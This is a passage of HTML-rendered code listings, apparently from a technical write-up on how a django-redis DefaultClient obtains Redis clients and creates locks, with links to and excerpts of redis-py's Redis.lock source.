&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;43
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;44
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;45
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;46
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;47
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;48
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; redis &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;DefaultClient&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__init__&lt;/span&gt;(self, server, params: Dict[str, Any], backend: BaseCache) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients: List[Optional[Redis]] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;] &lt;span style="color:#f92672"&gt;*&lt;/span&gt; len(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_server)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key: KeyT,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; version: Optional[int] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep: float &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout: Optional[float] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client: Optional[Redis] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; client &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_client(write&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;make_key(key, version&lt;span style="color:#f92672"&gt;=&lt;/span&gt;version)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; client&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lock(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; key,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sleep&lt;span style="color:#f92672"&gt;=&lt;/span&gt;sleep,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; blocking_timeout&lt;span style="color:#f92672"&gt;=&lt;/span&gt;blocking_timeout,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; thread_local&lt;span style="color:#f92672"&gt;=&lt;/span&gt;thread_local,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get_client&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; write: bool &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tried: Optional[List[int]] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ) &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; Redis:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; Method used for obtain a raw redis client.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; This function is used by almost all cache backend
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; operations for obtain a native redis client/connection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; instance.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; index &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_next_client_index(write&lt;span style="color:#f92672"&gt;=&lt;/span&gt;write, tried&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tried)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients[index] &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients[index] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;connect(index)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_clients[index] &lt;span style="color:#75715e"&gt;# type:ignore&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="redis"&gt;Redis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L88"&gt;https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L88&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;lock: &lt;a href="https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L439C1-L511C10"&gt;https://github.com/redis/redis-py/blob/6d77c6d715430c30f22147f8c572659d77380a9f/redis/client.py#L439C1-L511C10&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;28
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;29
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;30
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;31
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;32
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;33
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;34
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;35
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;36
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;37
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;38
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;39
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;40
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;41
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;42
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;43
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;44
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;45
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;46
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;47
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;48
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;49
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;50
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;51
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;52
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;53
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;54
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;55
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;56
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;57
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;58
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;59
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;60
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;61
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;62
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;63
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;64
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;65
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;66
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;67
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;68
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;69
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;70
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;71
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;72
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;73
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;74
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;75
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;76
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Redis&lt;/span&gt;(RedisModuleCommands, CoreCommands, SentinelCommands):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lock&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; self,
